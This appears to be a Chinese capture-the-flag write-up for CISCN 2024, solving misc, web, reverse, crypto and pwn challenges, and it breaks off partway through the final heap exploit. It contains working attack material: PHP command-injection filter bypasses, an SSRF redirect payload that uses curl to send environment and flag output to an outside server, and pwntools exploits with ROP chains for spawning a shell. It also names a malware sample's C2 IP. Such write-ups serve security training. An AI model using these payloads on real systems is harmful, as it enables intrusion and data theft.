Misc
火锅链观光打卡
签到题,启动题目环境,火锅游戏,提示安装钱包插件,安装好之后可以开始游戏,答对了10道题目后可兑换NFT
图片上即为flag
flag{y0u_ar3_hotpot_k1ng}
Power Trajectory Diagram
下载附件,得到attachment.npz,是numpy的二维数组集合
这里改后缀为zip解压即可得到四个npy文件
根据题目含义可得出此题目为侧信道攻击,根据机器的功耗变化推算出可能的密码值,依次分析四个npy数据
Index很显然是索引,也就是能看出这里字符串长度是0-12,也就是13位,对应13个字符
Input则是每个位置输入的字符,可以跟上面的index对的上
Output是空的,没有输出数据分析,所以需要看功耗分析
而这个trace就是实际功耗数据了,也是最大的一个,5000个数据,数据长度520也对的上,首先先使用matplot画图大致分析一下
import numpy as np
# 加载数据
index = np.load('index.npy')
inputs = np.load('input.npy')
traces = np.load('trace.npy')
# 假设密码长度未知,但我们知道每个密码尝试的次数是相同的
unique_indices = np.unique(index)
password_length = len(unique_indices)
# 分析每个密码位的功耗
for i in range(password_length):
# 找到当前密码位的所有尝试
current_traces = traces[index == i]
current_inputs = inputs[index == i]
# 进行功耗分析
# 这里可以进行简单的平均功耗计算,也可以进行更复杂的CPA或DPA
mean_trace = np.mean(current_traces, axis=0)
# 可视化或进一步分析
import matplotlib.pyplot as plt
plt.plot(mean_trace)
plt.title(f'Average Power Trace for Password Character Position {i+1}')
plt.xlabel('Time')
plt.ylabel('Power Consumption')
plt.show()
可以看到大致的功耗分析,最初思路是使用sklearn大模型给我跑flag,但是不太现实,所以还是决定从数据出发,经过调试后写exp提取密码
密码:_ciscn_2024_a,但尝试了不对,考虑到时侧信道攻击,不要过度相信数据和脚本,结合上述分析图的噪声,怀疑是数据处理过度导致的,所以尝试去掉最后一个a,即为flag
import numpy as np
# 加载数据集
index = np.load("index.npy")
inputs = np.load("input.npy")
outputs = np.load("output.npy")
traces = np.load("trace.npy")
# 假设我们有13个密码字符需要预测
num_characters = 13
character_length = 40 # 每个字符对应的迹象数量
password = []
# 遍历每个密码字符
for character_index in range(num_characters):
time_min_indices = []
# 获取当前字符对应的输入和迹象
current_inputs = inputs[character_length * character_index : character_length * (character_index + 1)]
current_traces = traces[character_length * character_index : character_length * (character_index + 1)]
print(current_traces)
# 对每个迹象,找到功耗最小的时间点
for trace in current_traces:
min_time_index = np.argmin(trace)
time_min_indices.append(min_time_index)
# 找到最显著的迹象(最小功耗出现最晚的那个)
most_significant_trace_index = np.argmax(time_min_indices)
# 获取对应的输入字符
predicted_character = current_inputs[most_significant_trace_index]
print(predicted_character)
password.append(predicted_character)
# 遍历密码数组输出密码
print("Password:")
for char in password:
print(char, end="")
flag{ _ciscn_2024_}
神秘文件
下载附件。得到attachment.pptm
打开ppt,第三个可见字符串,记录下来解码
UGFSdDQ6NmYtA=,base64解码后得到part4
PaRt4:6f- 1/10,随后在最后一张的批注看到N round Base64
Vm1wR1UxRXhXWGhUV0d4WFlrZG9WMWxVUm1GWFJscHlWMjVrVmxKc2NIaFZiVFZQVkd4S2MxSnFVbGRXTTFKUVdWVmtVMDVyTVVWaGVqQTk=,使用cyber循环解码得到part5
pArt5:5f-90d 2/10,第二章ppt左上角有一张小图片,拉伸后发现超链接指向一个嵌入的word文档,打开
可以看到隐藏的有内容,但由于不好提取,这里直接改后缀为zip解包,去xml中寻找
可见一段字符串和offset:10以及caesar,所以判定为偏移为10的凯撒
mQPinNS6Xtm1JGJs,进行凯撒解密
得到cGFydDI6Njc1ZWZi,base64解密后得到part2
part2:675efb 3/10,pptm也改后缀解包,查看media文件夹,发现一堆截开的字符,进行拼接
得到FyVDY6ZC0y,解码得到part6
ParT6:d-2 /10,随后查看image57,可见图片下方有一串字符串
cGFyVDk6ZGVl,最后一个字母是l,是大写I时解出是大写H,不符合小写uuid,所以是l,解码得到part9
parT9:dee 5/10,slideLayout3.xml中找到一串字符串
结合下文提示可得知是将下上方字符串去掉B、b、1、3
c1GFSbd3Dg6BODbdl 按要求处理后得到cGFSdDg6ODdl ,base64解码后得到part8
paRt8:87e 6/10,在Slide4.xml中找到字符串以及ROT13(ALL)提示
HRSFIQp9ZwWvZj== ,于是对其进行强ROT13解码,随后解base64得到part7
PART7622b3,变换后为PART7:22b3 7/10,查看comment1.xml
发现提示VIgenere cipher和key furry,所以是维吉尼亚加密,密钥是furry,密文是ZYWJbIYnFhq9,解密后得到part10
PARt10:9} 8/10,在core.xml也就是文件的详细信息中找到密文
结合下文的again提示,所以判断是双密码加密,密文是QFCfpPQ6ZymuM3gq,密钥是lanjing,解码后base64得到part1
Part1:flag{e 9/10,打开ppt的时候就看到有宏还没用上,判断最后一个根宏有关,在ppt程序中按下组合键alt+F11可以进入宏编辑界面
可以看到是base64的RC4,没有密钥,使用c脚本解密
#include<iostream>
using namespace std;
int main(){
int str[256];
char Str_key[] = "";
int v5 = 0, v6 = 0, v7 = 0;
int c;
for (int i = 0; i < 256; i++)
str[i] = i;
for (int i = 0; i < 256; i++)
{
v5 = (Str_key[i % 1] + v5 + str[i]) % 256;
c = str[i];
str[i] = str[v5];
str[v5] = c;
}
char v19[17] = { 0x8b,0x5d,0xcf,0x38,0xc7,0x73,0x10,0x0c,0xc7,0x7f,0x2e,0x1d,0x19,0x2f,0xaf,0x50 }, flag[17];
for (int i = 0; i < 16; ++i)
{
v7 = (v7 + 1) % 256;
v6 = (v6 + str[v7]) % 256;
c = str[v7];
str[v7] = str[v6];
str[v6] = c;
flag[i] = str[(str[v6] + str[v7]) % 256] ^ v19[i];
cout << flag[i];
}
return 0;
}
得到UEFydDM6My0zNA==,解base64后得到part3
PArt3:3-34 10/10,至此10部分齐全,组合后验证符合36位uuid
flag{e675efb3-346f-405f-90dd-222b387edee9}
大学生安全测试能力调研问卷
略,做完问卷即可得到flag
flag{海纳百川,有容乃大。}
通风机
下载附件得到通风机监控.mwp
查到是plc的程序文件,下载西门子Step7-200软件,但无法打开
创建一个新工程,保存,分析一下文件结构
对比发现通风机监控前面少了文件头GJK,手动加上文件头后即可打开工程
查看工程,在左边符号表的OK注释中中发现字符串
ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9
解码后即为flag
flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}
盗版软件
下载附件得到3842.dmp和hackexe.exe
运行hackexe.exe后得到.ss目录,可以看到是一个loader.exe和output.png,木马执行的时候应该是从图片加载shellcode实现免杀,对图片进行分析
查看output.png会发现上方有一些点阵,可能隐藏信息
使用stegsolve查看各个颜色通道
进而可以查看到红色 full plane都有数据,所以存在lsb隐写,勾选所有红色通道
看到了PK,进而观察发现隔一个字节读取便会得到一个ZIP压缩文件的文件头504B0304,所以进而读取全文件即可得到ZIP压缩包,将数据保存下来,写脚本进行读取
def extract_bytes(filename):
# 以二进制模式打开导出的文件
with open(filename, "rb") as file:
file_content = file.read()
# 从第八个字节开始,每隔一个字节进行提取
extracted_bytes = file_content[8::2]
# 定义空字符串存放提取数据
formatted_hex = ''
# 遍历提取数据
for byte in extracted_bytes:
# 将字节转换为十六进制
hex_byte = hex(byte)[2:].zfill(2)
formatted_hex += hex_byte
# 写入到新文件
with open("shell.zip", "w") as output_file:
output_file.write(formatted_hex)
# 主函数入口
if __name__ == "__main__":
extract_bytes("save.bin")
得到压缩包,解压后得到.b
Shellcode进行了面纱,分析后是进行base58编码,解码后为原始shellcode
既然是恶意文件就不在本地电脑运行了,放到沙箱一样可以抓出外连地址,分析报告URL:
上传到微步云沙箱即可看到外连地址是一个阿里云VPS,IP是39.100.72.235
随后寻找地址,题目有说明dmp是内存转储,本地取证工具有些问题,但毕竟windows的内存数据都是ASCII码,所以直接使用flag搜索工具搜索tmp中所有带有http://的字符串
数据较多,大部分都是系统流量或大厂域名(Mircosoft微软的更新、Mozila火狐、Amaon等)使用搜索替换功能给这些http流量删除掉即可删除大部分无关URL
随后筛选即可看到为数不多的几个域名,域名winhack.com,dns解析发现没有URL Encode内容,名字winhack非常可疑,于是对几个域名分别尝试,第三次尝试winhack.com提交正确
flag{096e8b0f9daf10869f013c1b7efda3fd }
Web
Simple_php
进入环境后是php,看到过滤了密密麻麻一堆
这里经过多次测试,发现只有apt、php未被过滤,但apt利用方式似乎只有供应链攻击,但是不太现实,所以考虑使用php的命令行模式,这里传入的cmd作为system函数的参数执行,因为过滤了大部分系统命令,所以这里需要解码,这里首先对payload进行十六进制编码,随后使用substr绕过字符匹配,再次使用hextobin(hex2bin)解码即可还原命令执行,同时使用+代替空格,所以这里payload是:php+-r+eval(hex2bin(substr(_6c33b, 1)));,但似乎有些问题。
Debug后反应过来这里直接是shell环境,内层payload使用的是eval并非system,所以这里使用echo `${payload}`来执行命令
测试使用ls命令,这次成功回显
但查看了根目录、运行目录以及env,没有找到flag
查找也没有结果,执行mysql命令后发现有mysql环境,且密码也是root,所以猜测flag在数据库中,但这里没有交互式shell,于是参考文章shell 脚本连接mysql查询_shell mysql 查询-CSDN博客,使用-e来带入sql语句
首先查询所有数据库
echo mysql -uroot -proot -e 'show databases;';
cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202773686f77206461746162617365733b27603b,1)));
这里可以看到PHP_CMS表,随后查看此库中的表
echo mysql -uroot -proot -e 'use PHP_CMS;show tables';
cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73686f77207461626c657327603b,1)));
很明显这个F1ag_Se3Re3有问题 ,查询该表所有内容
echo mysql -uroot -proot -e 'use PHP_CMS;select * from F1ag_Se3Re7;';
cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
成功查询出flag
flag{1d232105-d7f3-4f23-adc1-c58aecde7778}
easycms_revenge
跟昨天的题目一样,都是迅睿CMS
昨天没解出来,但是知道了后台地址类型和源码
使用dirsearch扫描,仍然有和昨天一样的flag.php,输出一样,那就默认和昨天的hint里的一样,同样是127.0.0.1传入参数cmd执行,那就是需要ssrf来打
Clone下来源码进行分析,同时参考一些现有漏洞发现前台有rce,但并不是,但发现了生成二维码的qrcode接口有ssrf,thumb参数是图片地址,随后请求后进行url解码,所以这里存在SSRF
在源码中可以看到使用示例
?s=api&c=api&m=qrcode&text= &thumb=url&level=1&size=1
写一个php文件,通过 修改http包的header头使得重定向到127.0.0.1/flag.php
<?php
header("Location: http://127.0.0.1/flag.php?cmd=whoami");
exit();
?>
这里在云服务器上开一个php的web服务,尝试请求
s=api&c=api&m=qrcode&text=zmzmzmzmzmzmzz&thumb=http://39.107.159.162:81/nynu.php&level=1&size=1
去进行SSRF,但发现提示不是可用图片,所以需要添加图片头,同时php也要输出一个文件头,这里php头使用PNG没有成功,所以更换gif文件头
GIF89a
<?php
echo "‰PNG";
header("Location: http://127.0.0.1/flag.php?cmd=curl%2009ohri.dnslog.cn");
exit();
?>
重新发送请求可以看到命令成功执行
但由于没有回显,这里payload使用curl -X GET "http://39.107.159.162:81/$(env | base64 | tr -d '\n')"
将命令执行结果进行base64后get请求发送到web服务
可以在access.log看到env命令被成功执行并返回,更换命令ls /
可以看到flag在根目录下,查看flag发现为空,flag是readflag文件
读取之后发现是ELF,所以运行elf,捕获返回内容即可得到flag
最终payload
GIF89a
<?php
echo "‰PNG";
header("Location: http://127.0.0.1/flag.php?cmd=curl%20-X%20GET%20%22http://39.107.159.162:81/$(/readflag%20%7C%20base64%20%7C%20tr%20-d%20'%5Cn')%22");
exit();
?>
flag{2eae6d41-7bc5-43f0-9a62-8765e8ace714}
Reverse
asm_re
加密函数
使用chatGPT辅助分析
对密文乘0x50
加0x14
异或0x4D
加0x1e
解密只需要反向操作
密文:
写出解密脚本
int main()
{
int a[] = { 0x1FD7,0x21B7,0x1E47,0x2027,0x26E7,0x10D7,0x1127,0x2007,0x11C7,0x1E47,0x1017,0x1017,0x11F7,0x2007,0x1037,0x1107,0x1F17,0x10D7,0x1017,0x1017,0x1F67,0x1017,0x11C7,0x11C7,0x1017,0x1FD7,0x1F17,0x1107,0x0F47,0x1127,0x1037,0x1E47,0x1037,0x1FD7,0x1107,0x1FD7,0x1107,0x2787 };
for (int i = 0; i < 38; i++) {
int num = a[i];
num -= 0x1e;
num ^= 0x4d;
num = (num - 0x14) / 0x50;
printf("%c", char(num&0xff));
}
return 0;
}
flag{67e9a228e45b622c2992fb5174a4f5f5}
androidso_re
APK文件:
使用jadx-gui反编译
Legal()函数对字符串进行判断其中flag{}中间的字符使用inspect()函数加密后判断
查看inspect类:
str2从jni.getkey()获取密钥并通过SecretKeySpec函数初始化为AES密钥
jni.getiv()函数获取iv并通过IvParameterSpec初始化
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
对密文进行DES的CBC模式加密
判断密文是否为JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==
查看jni类:
从so文件中调用getiv()和getkey()的值
使用ida分析so文件
找到两个函数
通过调用so文件函数获取key和iv值
Key: A8UdWaeq
Iv: Wf3DLups
使用在线网站解密
得到flag:
flag{188cba3a5c0fbb2250b5a2e590c391ce}
whereThel1b
Ida静态分析
Cython编译的so文件
这里声明了模块里的字符串,其中有函数名称,被打印的字符串,还有一些编译器生成的字符串。
能看到有base64,random,seed等加密函数
进行初始化最终在全局表中关联
设置属性
创建python对象
导入"base64"模块,并将结果模块对象存储在 v28 中。v29 = v28将导入的"base64"模块对象赋值给 v29如果base64模块导入失败,代码会跳转到标签 LABEL_114
这一段即构建python代码
调用了whereisflag函数和tryry函数进行加密
在ida中找到这两个函数
构建random和seed函数
设置随机数种子
分析whereisflag1-6函数
Flag调用encry猜测是加密函数
调用base64进行加密
随机数函数进行构造赋值给attr然后将attr转换类型赋值给v15
判断v15[1].ob_type的值是否等于0
随机数函数通过seed函数设置的种子获取伪随机数
猜测为判断随机数种子为0
整理下逻辑应该是通过seed设置随机数种子后调用random函数获取随机数字符串对明文进行加密然后对加密后的字符串进行b64encode操作
写出解密脚本得到flag
import base64
import random
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
random.seed(0)
str1 = []
str2 = []
for _ in range(len(encry)):
str1.append(random.randint(0, len(encry)))
for i in range(len(encry)):
str2.append(str1[i] ^ encry[i])
str3 = ''.join(map(chr, str2))
flag = base64.b64decode(str3)
print(flag)
flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}
gdb_debug
64位无壳使用ida分析
将随机数种子设置位time(0) & 0xF0000000
提示输入字符串
并验证flag{}这几个固定字符
字符串整体与随机数异或
创建ptr初始值为下标并使用随机数打乱
V31[m]=v28[ptr[m]]将ptr[m]作为下标对字符串进行打乱
再次异或随机数
与v32异或得到字符串s1,比较s1与s2如果相等则提示Correct.
byte_10A0:
逆向时一共38*3个随机数是要通过正向得出并按正向的顺序去解密
因为win和linux随机数不一样所有要使用linux环境运行脚本
写出脚本运行
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main() {
int v3 = time(0);
srand(v3 & 0xF0000000);
int rand_[38 * 3];
for (int i = 0; i < 38 * 3; i++)
{
rand_[i] = rand();
}
char bytes[] =
{
0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73,
0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE,
0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2,
0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78
};
char s2[] = "congratulationstoyoucongratulationstoy";
char v31[38];
for (int i = 0; i < 38; i++)
{
v31[i] = s2[i] ^ bytes[i];
}
for (int i = 0; i < 38; i++)
{
v31[i] ^= rand_[i + 38 * 2 - 1];
}
int ptr[38];
for (int j = 0; j < 38; j++) {
ptr[j] = j;
}
int s = 0;
for (int i = 38 - 1; i; i--)
{
int v18 = rand_[38 + s] % (i + 1);
int v19 = ptr[i];
ptr[i] = ptr[v18];
ptr[v18] = v19;
s++;
}
char v28[38];
for (int i = 0; i < 38; i++)
{
v28[ptr[i]] = v31[i];
}
for (int i = 0; i < 38; i++)
{
v28[i] ^= rand_[i];
}
printf("\n");
for (int i = 0; i < 38; i++) {
printf("%c", v28[i]);
}
return 0;
}
flag{78bace5989660ee38f1fd980a4b4fbcd}
Crypto
古典密码
AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
使用cyberchef解Atbash编码,随后解base64
之后解两栏的栅栏即可得到flag
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
OvO
下载附件得到task.sage
这里生成了两个512位的素数,随后计算n,之后的e计算不太寻常,首先生成一个 128 位的素数 kk,然后计算 e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1,直到 gcd(e, phi) == 1,随后对flag进行加密,随后将e 的低 200 位移掉。
这里参考这篇文章https://blog.csdn.net/m0_57291352/article/details/120675242
的已知d的低位攻击来求解p,原理是构建多项式进行根的搜索,部分密钥求解攻击,使用文章中的两个函数写脚本求解,求解出p后即可根据n求出q进而解RSA得到flag
from Crypto.Util.number import *
def partial_p(p0, n, bits):
PR.<x> = PolynomialRing(Zmod(n))
f = p0 + x
f = f.monic()
roots = f.small_roots(X=2^(bits+5), beta=0.4)
if roots:
x0 = roots[0]
p = gcd(p0 + x0, n)
return ZZ(p)
def find_p(eh, n, bits):
PR.<x> = PolynomialRing(RealField(1000))
f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
results = f.roots()
if results:
for x in results:
p_high = int(x[0]) >> 4 << 4
p = partial_p(p_high, n,bits)
if p and p != 1:
return p
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
# 计算 kk 和 rr
rr = e // n
kk = rr - 2
# 尝试找到 p 的值
p = find_p(e, n, 200)
if p is None:
print("无法找到 p 的值")
exit()
# 计算 q 的值
q = n // p
# 计算新的 e 值
e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
# 计算私钥 d 并解密
d = inverse(e, (p - 1) * (q - 1))
m = pow(c, int(d), n)
print(long_to_bytes(int(m)))
flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}
Pwn
gostack
X86_64架构,无canary与pie
Ida打开发现无法反汇编
运行程序发现要有输出的字符串让你输入数据,既然看不了伪代码,那就ida直接定位这几句话
发现数据确实在text段,
开始gdb调试
发现call了0x49a760时会把数据读入
下图是没call之前
下图是Call了之后
开始定位ebp位置
但发现栈前还需要填充0x110个字节的空位,否则无法溢出到rbp
定位溢出长度,开始构造rop链
发现elf文件有个很好的信息
既然有syscall,并且gadgets也够用
Ret2syscall处理,利用系统调用把/bin/sh读入bss段,然后再次利用系统调用执行bss地址拿shell。
首先rax存入系统调用号,64位系统read调用号为0x0,rdi寄存器放入read第一个参数0,rsi寄存其放read第二个参数bss地址,rdx放第三个参数0x10,调用syscall触发系统调用,覆盖syscall的ret地址为rax的地址开始另一个rop链,放入0x3b系统调用号,该系统调用号是execve的,rdi寄存器放execve的第一个参数bss地址,剩下俩参数为0,调用syscall触发系统调用,发送/bin/sh执行execve(“/bin/sh”)即可。
p1=flat(b'a'*(0x1c8+8),pop_rax_ret,0,pop_rdi_ret,0,b'a'*(5),pop_rsi_ret,bss_addr,pop_rdx_ret,0x10,syscall_ret,pop_rax_ret,0x3b,pop_rdi_ret,bss_addr,pop_rsi_ret,0,pop_rdx_ret,0,syscall_ret)
from pwn import *
x = int(input("请选择模式\n1:远程\n2:本地\n3:exp调试\n"))
if x == 1:
r=remote("",)
elif x == 2:
r=process("./ciscn2024/gostack")
else:
r=gdb.debug("./ciscn2024/gostack",gdbscript='b *0x4a098c')
pop_rdi_ret=0x00000000004a18a5
pop_rsi_ret=0x000000000042138a
pop_rdx_ret=0x00000000004944ec
pop_rax_ret=0x000000000040f984
syscall_ret=0x00000000004616c9
bss_addr=0x563CB0
p1=flat(b'a'*(0x1c8+8),pop_rax_ret,0,pop_rdi_ret,0,b'a'*(5),pop_rsi_ret,bss_addr,pop_rdx_ret,0x10,syscall_ret,pop_rax_ret,0x3b,pop_rdi_ret,bss_addr,pop_rsi_ret,0,pop_rdx_ret,0,syscall_ret)
r.sendlineafter("Input your magic message :\n",p1)
r.sendline(b"/bin/sh\x00")
r.interactive()
flag{2cc67a77-7465-4f52-9f36-219a59bc94ed}
orange_cat_diary
checksec
Ida:
Sub_bf5
add函数
Sub_d83
free函数
Sub_CD9
edit函数
并且dword_202058+8的地址对edit的堆块大小有最大限制
Sub_DE9
Show函数
可以进行堆溢出来泄露地址,利用堆管理其地址计算基地址,从而计算malloc_hook地址,
且free函数存在指针释放未置空,可以劫持malloc_hook修改为one_gadget地址,然后add堆块edit堆块更改堆块结构,篡改指针指向为onegadget执行拿shell。
from pwn import *
x = int(input("请选择模式\n1:远程\n2:本地\n3:exp调试\n"))
if x == 1:
r = remote('8.147.133.63',17147)
context.log_level='debug'
elif x == 2:
r=process("./ciscn2024/orange_cat_diary")
else:
r=gdb.debug("./ciscn2024/orange_cat_diary",gdbscript='b main')
libc=ELF('./ciscn2024/libc-2.23.so')
r.sendlineafter('Please tell me your name.','zlpyyds')
def add_chunk(size, content):
r.sendlineafter('Please input your choice:',b'1')
r.sendlineafter('Please input the length of the diary content:',str(size))
r.sendlineafter('Please enter the diary content:',content)
def free_chunk():
r.sendlineafter('Please input your choice:',b'3')
def show_chunk():
r.sendlineafter('Please input your choice:',b'2')
def edit_chunk(size, content):
r.sendlineafter('Please input your choice:',b'4')
r.sendlineafter('Please input the length of the diary content:',str(size))
r.sendlineafter("Please enter the diary content:",content)
add_chunk(0x108,b'zlp')
edit_chunk(0x110,b'z'*0x108+p64(0xef1))
add_chunk(0x1000,'zlp')
add_chunk(0x450,'zlp')
show_chunk()
r.recv(6)
chunk_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b"\x00")) -0x668
success("chunk_addr------------->"+str(hex(chunk_addr)))
main_arena= libc.sym['__malloc_hook'] +0x10
success("main_arena------------>"+str(hex(main_arena)))
libc_base=chunk_addr-main_arena
success('libc_base---------------->'+str(hex(libc_base)))
malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
one_gadget=libc_base+0xf03a4
add_chunk(0x60,'zlp')
free_chunk()
edit_chunk(0x20,p64(malloc_hook_addr-0x23))
add_chunk(0x60,'zlp')
add_chunk(0x60,b'z'*(0x13)+p64(one_gadget))
r.interactive()
flag{40de1e3a-4dae-42a7-9033-8257f84a961a}
EzHeap
Checksec
Ida
Sub_154A()函数
Add_chunk();
Sub_16ce()
Free函数
Sub_17ab()
Edit函数
Sub_18e9()函数
Show功能
Sub_19d2()
退出函数
附件下载给了三个so文件,可以利用
发现gagets少的可怜
那么就可以利用附件里的so.6文件中的gadets
pop_rax_ret=next(libc.search(asm('pop rax;ret')))
pop_rdi_ret=next(libc.search(asm('pop rdi;ret')))
pop_rsi_ret=next(libc.search(asm('pop rsi;ret')))
pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret')))
syscall_ret=next(libc.search(asm('syscall;ret')))
先改变堆块布局溢出泄露地址,泄露出的地址将低12位清零来获取libc基址
add_chunk(0x1f8,'aa')
add_chunk(0x4f0,'aa')
add_chunk(0x1f8,'aa')
free_chunk(1)
edit_chunk(0,0x200,'a'*0x200)
show_chunk(0)
addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libc_base=(addr-libc.sym['_IO_2_1_stdin_'])&0xfffffffffffff000
接下来获取堆的基地址
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x501))
add_chunk(0x4f0,'zlp')
edit_chunk(0,0x340,b'a'*0x1f8+p64(0x101)+b'\x00'*0xf8+p64(0x401))
free_chunk(1)
edit_chunk(0,0x200,b'a'*0x200)
show_chunk(0)
r.recvuntil(b'a'*0x200)
heap_base=u64(r.recv(5)+b'\x00\x00\x00')<<12
success('heap_base---------------->'+hex(heap_base))
获取栈地址
add_chunk(0xf0,'zlp')
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64(0)+b'\x00'*0x10+p64(0x4e1))
add_chunk(0x10,'zlp')
free_chunk(1)
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64((heap_base>>12)^(libc.sym['environ']-0x10))+b'\x00'*0x10+p64(0x4e1))
add_chunk(0x10,'zlpa')
add_chunk(0x10,'a'*0x10)
show_chunk(4)
stack_addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-(0x758-0x5f0)
success("stack_addr------------>"+str(hex(stack_addr)))
有了栈地址,可以构造利用上边得到的gadgts来构造rop链进行后续的系统调用,
p1+=p64(pop_rdi_ret)+p64(stack_addr-0x10)
p1+=p64(pop_rsi_ret)+p64(0)
p1+=p64(pop_rax_ret)+p64(2)
p1+=p64(syscall_ret)
p1+=p64(pop_rax_ret)+p64(0)
p1+=p64(pop_rdi_ret)+p64(3)
p1+=p64(pop_rdx_ret)+p64(0x30)*2
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
p1+=p64(syscall_ret)
p1+=p64(pop_rax_ret)+p64(1)
p1+=p64(pop_rdi_ret)+p64(1)
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
p1+=p64(syscall_ret)
最后改变堆块布局,将rop链写入堆块来拿shell
edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64(0)+b'\x00'*0x1f0+p64(0x301))
free_chunk(2)
free_chunk(1)
edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64((heap_base>>12)^(stack_addr-0x10))+b'\x00'*0x1f0+p64(0x301))
add_chunk(0x1f0,'zlpzlp')
add_chunk(0x1f0,p1)
from pwn import *
x = int(input("请选择模式\n1:远程\n2:本地\n3:exp调试\n"))
if x == 1:
r = remote('8.147.133.230',25077)
context(log_level='debug',arch='amd64',os='linux')
elif x == 2:
r=process("./ciscn2024/orange_cat_diary")
else:
r=gdb.debug("./ciscn2024/orange_cat_diary",gdbscript='b main')
elf=ELF('./ciscn2024/EzHeap')
libc=ELF('./ciscn2024/libc.so.6')
def add_chunk(size,content):
r.sendlineafter('>> ',b'1')
r.sendlineafter(':',str(size))
r.sendafter('content:',content)
def edit_chunk(id,size,content):
r.sendlineafter('>> ',b'3')
r.sendlineafter(':',str(id))
r.sendlineafter(':',str(size))
r.sendafter('content:',content)
def show_chunk(id):
r.sendlineafter('>> ',b'4')
r.sendlineafter(':',str(id))
def free_chunk(id):
r.sendlineafter('>> ',b'2')
r.sendlineafter(':\n',str(id))
add_chunk(0x1f8,'zlp')
add_chunk(0x4f0,'zlp')
add_chunk(0x1f8,'zlp')
free_chunk(1)
edit_chunk(0,0x200,'a'*0x200)
show_chunk(0)
addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
success("addr------------------------->"+str(hex(addr)))
libc_base=(addr-libc.sym['_IO_2_1_stdin_'])&0xfffffffffffff000
success('libc_base----------------->'+hex(libc_base))
libc.address=libc_base
bin_sh_addr=next(libc.search(b'/bin/sh\x00'))
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
success("free_hook_addr-------------->"+str(hex(free_hook_addr)))
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x501))
add_chunk(0x4f0,'zlp')
edit_chunk(0,0x340,b'a'*0x1f8+p64(0x101)+b'\x00'*0xf8+p64(0x401))
free_chunk(1)
edit_chunk(0,0x200,b'a'*0x200)
show_chunk(0)
r.recvuntil(b'a'*0x200)
heap_base=u64(r.recv(5)+b'\x00\x00\x00')<<12
success('heap_base---------------->'+hex(heap_base))
add_chunk(0xf0,'zlp')
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64(0)+b'\x00'*0x10+p64(0x4e1))
add_chunk(0x10,'zlp')
free_chunk(1)
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64((heap_base>>12)^(libc.sym['environ']-0x10))+b'\x00'*0x10+p64(0x4e1))
add_chunk(0x10,'zlpa')
add_chunk(0x10,'a'*0x10)
show_chunk(4)
stack_addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-(0x758-0x5f0)
success("stack_addr------------>"+str(hex(stack_addr)))
p1=b'./flag\x00\x00'
pop_rax_ret=next(libc.search(asm('pop rax;ret')))
pop_rdi_ret=next(libc.search(asm('pop rdi;ret')))
pop_rsi_ret=next(libc.search(asm('pop rsi;ret')))
pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret')))
syscall_ret=next(libc.search(asm('syscall;ret')))
p1+=p64(pop_rdi_ret)+p64(stack_addr-0x10)
p1+=p64(pop_rsi_ret)+p64(0)
p1+=p64(pop_rax_ret)+p64(2)
p1+=p64(syscall_ret)
